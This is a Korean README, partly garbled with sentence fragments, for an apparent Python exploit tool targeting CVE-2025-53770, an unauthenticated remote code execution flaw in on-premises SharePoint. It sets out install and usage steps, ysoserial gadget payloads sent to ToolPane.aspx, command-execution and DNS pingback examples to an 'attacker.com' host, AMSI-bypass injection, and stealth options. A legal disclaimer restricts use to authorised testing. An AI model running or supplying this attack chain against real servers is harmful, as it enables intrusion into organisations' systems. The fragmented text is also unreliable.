
온프레미스 Microsoft SharePoint Server(2016, 2019, Subscription Edition)의 치명적인(CVSS 9.8) 인증 없는 원격 코드 실행(RCE) 취약점인 CVE-2025-53770을 대상으로 하는 정교한 위저드 기반 Python 익스플로잇 도구입니다.
Divine Absolute는 CVE-2025-53770을 표적으로 하는 정교한 위저드 기반 Python 익스플로잇 도구입니다. 이 취약점은 온프레미스 Microsoft SharePoint Server(2016, 2019, Subscription Edition)에서 발생하는 치명적인(CVSS 9.8) 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 2025년 7월 19일 제로데이로 공개된 이 취약점은 /_layouts/15/ToolPane.aspx에서 신뢰할 수 없는 데이터의 역직렬화에서 비롯됩니다. 이 도구는 윤리적 침투 테스트 및 승인된 보안 연구 전용으로 설계되었으며, 정찰, 익스플로잇 및 검증을 위한 탁월한 정밀성, 은밀성, 적응성을 제공합니다.
저장소: https://github.com/exfil0/CVE-2025-53770
⚠️ 법적 경고: 이 도구는 명시적 허가를 받은 통제된 환경에서의 합법적이고 승인된 사용 전용입니다. 소유하지 않았거나 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법이며 심각한 법적 결과를 초래할 수 있습니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
16.0.0.\d+-\w+?)을 통해 SharePoint 존재 여부, 버전 및 ToolPane.aspx 접근성을 탐지합니다.ToolPane.aspx에 페이로드를 전달합니다.WebRequest.Create, Dns.GetHostEntry)를 위한 선택적 pythonnet.-enc) 페이로드도 포함합니다./xp.aspx, UUID 기반).www.google.com), 사용자 정의 URL 또는 내부 SharePoint 경로(예: /_layouts/15/sharepoint.aspx).RequestException 재시도, 사용자 정의 상태 코드/경로를 통한 강력한 RCE 확인.MicrosoftSharePointTeamServices), 경로(예: /versions.aspx) 및 정규식을 통한 향상된 SharePoint 탐지./_layouts/15/ToolPane.aspx의 역직렬화를 통한 인증되지 않은 RCE./ToolPane.aspx POST 모니터링, WAF 규칙(예: Cloudflare) 사용.pip install requests termcolor
pip install pythonnet
ysoserial.exe를 알려진 경로(예: ./ysoserial.exe)에 배치.# Ubuntu/Debian
sudo apt-get install mono-complete
# macOS (via Homebrew)
brew install mono
docker pull mcr.microsoft.com/sharepoint/server:2019
git clone https://github.com/exfil0/CVE-2025-53770.git
cd CVE-2025-53770
pip install -r requirements.txt
ysoserial.exe에 접근 가능한지 확인하거나 실행 중 경로를 제공합니다.대화형 위저드를 실행합니다:
python divine_absolute.py
Recon: SharePoint 존재 여부와 버전을 스캔합니다.Exploit: ToolPane.aspx에 페이로드를 전송합니다.Full: 정찰 + 익스플로잇(선택적 공격 모드).https://sharepoint.example.com).ObjectDataProvider) 및 명령어(예: cmd /c whoami)를 지정합니다.http://attacker.com/callback 또는 sub.attacker.com).NONE, BASIC_REFLECTION, 또는 사용자 정의 스니펫을 선택합니다.python divine_absolute.py
# Select: Mode=Recon, Target=https://sharepoint.example.com
python divine_absolute.py
# Select: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
# ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
# Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
python divine_absolute.py
# Select: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
# Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
python divine_absolute.py
# Select: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
결과는 다음 필드와 함께 xanthorox_results.json에 저장됩니다:
target: 테스트된 URL.sharepoint_detected: 부울 값.toolpane_accessible: 부울 값.exploited: 부울 값(페이로드 전송 여부).verified_rce: 부울/없음(RCE 확인 여부).error: 발생한 오류.예시:
[
{
"target": "https://sharepoint.example.com",
"sharepoint_detected": true,
"toolpane_accessible": true,
"exploited": true,
"verified_rce": true,
"error": null
}
]
이 버전에서는 다음을 수정했습니다:
-enc) 명령어를 디코딩하고 우회 코드를 주입하며, 비PowerShell(예: cmd.exe)은 경고와 함께 지원합니다.Dns.GetHostEntry를 통한 안정적인 DNS 핑백을 위해 pythonnet을 사용합니다(실험적, 완전한 효과를 위해 가젯 필요).ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64로 페이로드를 생성하고 DNS 로그를 확인합니다.pythonnet의 Dns.GetHostEntry는 특정 가젯 체인 없이는 트리거되지 않을 수 있습니다.기여는 환영합니다! 다음을 수행해 주세요:
git checkout -b feature/awesome-improvement).git commit -m "Add awesome improvement").git push origin feature/awesome-improvement).이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하십시오.
참고: 사용 전에 항상 통제된 랩 환경에서 페이로드와 구성을 검증하십시오. 윤리적이고 합법적으로 행동하십시오.
CONCAT_OBFUSCATEDNONE, FIXED(예: /xp.aspx), RANDOM(UUID 기반).DEFAULT_SP, NO_REFERER, RANDOM_EXTERNAL, CUSTOM_URL.http://127.0.0.1:8080)./sitepages/result.txt), 정규식(예: Xanthorox.*), 상태 코드(예: 200,403), 시도 횟수, 지연 및 타임아웃을 지정합니다.